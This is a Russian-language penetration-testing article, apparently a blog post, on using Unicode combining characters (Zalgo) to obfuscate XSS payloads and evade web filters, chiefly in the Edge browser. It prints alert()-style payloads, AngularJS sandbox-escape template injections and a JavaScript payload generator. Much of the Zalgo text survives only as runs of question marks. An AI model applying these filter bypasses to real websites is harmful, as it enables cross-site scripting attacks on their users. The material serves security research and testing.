Использование нестандартных техник обфускации пейлоада (полезной нагрузки) при проведении тестирования на проникновение веб-приложений может позволить обходить фильтрацию защитных средств и способствовать реализации вектора атаки. В этой статье я расскажу про т.н. Z?a???l???????g?o????F???????u?z???z???????i??????n?g?????? как метод обфускации (размытия) пейлоадов.
Z???????a??????l????g?o?????
В первую очередь давайте разберем что такое Zalgo и такую
! особенность построения текста. В тексте используются комбинированные символы, также известные как комбинированные метки. Символы, имеющие графическое представление, в стандарте Юникода подразделяются на базовые и комбинируемые (или модифицирующие). Комбинируемые названы так, потому что при отображении комбинируются с рядом стоящим базовым символом (модифицируют его).
Использование таких последовательностей символов позволяет исказить полезную нагрузку, приведя ее к «нестандартному виду».
Например, данный javascript-код будет валиден в Edge: ??????????????????????????????????????????????????????????????????alert(??????????????????????????????1??????????????????????????????)??????????????????????????????????????????????????????????????????????????????????????
Чтобы cгенерировать Zalgo, можно повторить одиночные символы, либо объединить два символа, и повторить второй. Следующий пример генерирует визуальные дефекты, повторяющиеся сами по себе, в основном объединяют символы unicode:
834,1425,1427,1430,1434,1435,1442,1443,1444,1445,1446,1447,1450,1453,1557,1623,1626,3633,3636,3637,3638,3639,3640,3641,3642,3655,3656,3657,3658,3659,3660,3661,3662
Cледующий JavaScript будет генерировать визуальные дефекты, используя один из символов выше ????????????????????:
<script>document.write(String.fromCharCode(834).repeat(20))</script>
Принцип построения «фаззящей» последовательности проста — вывод символов максимально возможно горизонтальной длины, либо преображение и отображение с «разрывом». Этом поможет достичь эффекта некорректного отображения множественных символов UNICODE как пробельных, например так:
???alert(???'XSS Edge'???)???
Здесь ожидаемое поведение — это фильтрация, но на самом деле происходит событие Alert. Эти ошибки связаны с некорректным парсингом смешанного содержимого запроса.
Есть схожие методы обхода защитных средств, основанные на внедрении UNICODE символов:
†‡•HackerOne).
Эти методы могут быть как обособленными векторами применения, так и конкретными, связанными со спецификой того или иного приложения, например AngularJS:
{{'a'[{toString:[].join,length:1,0:'__proto__'}].charAt=''.valueOf;$eval("x='"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+"'");}}
{{'a'.constructor.prototype.charAt=''.valueOf;$eval("x='\"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+\"'");}}
В ветке обсуждения отображения последовательностей представлен еще один пример обхода парсинга:
eval('alert'+String.fromCharCode(6158)+'(1)')
Основной смысл такого обхода — преобразования символов, проходящих фильтры, в необходимую последовательность, на выходе дающую работающий (уже прошедший фильтр) пейлоад. В качестве примера привожу изображение, демонстрирующее такое преобразование:
Исследователем Gareth Heyes опубликован фаззер, объединяющий UNICODE совмещение и Zalgo, названный им Z?a???l???????g?o????F???????u?z???z???????i??????n?g?????? для выявлении последовательностей UNIСODE символов, преобразующихся в валидный javascript.
Таким образом был составлен пейлоад для обхода фильтрации EDGE, заключающийся в добавлении символов, обрабатываемых как пробельные. Таким образом была выявлена последовательность в виде символа 837 вместе с любым символом из диапазона 768-879:
a= [];
for(i=768;i<=858;i++){
a.push(String.fromCharCode(837)+String.fromCharCode(i).repeat(5));
}
a[10]+='alert('
a[15]+='1';
a[20]+=')';
input.value=a.join('')
eval(a.join(''));
Таким образом получается валидный пейлоад: ??????????????????????????????????????????????????????????????????alert(??????????????????????????????1??????????????????????????????)??????????????????????????????????????????????????????????????????????????????????????
Тема использования UNICODE-нормализации для обхода защитных средств далеко не нова (но и не сильно распространена), но тем не менее, позволяет находить новые способы обхода фильтрации.
> Unicode Security Guide
Комментарии (2)
domix32
15.03.2018 14:52Не очень понял кто вообще осиливает запускать залгофицированные скрипты. Chrome 64 и FF 58 не осилили, ругаясь на некорректные символы. То есть нужно какое-то особенное стечение обстоятельств, где модифицирующие символы будут почищены? Или версию браузера постарше?
arandomic
www.npmjs.com/package/unzalgo
Хотя не уверен, что к EDGE его не прикрутишь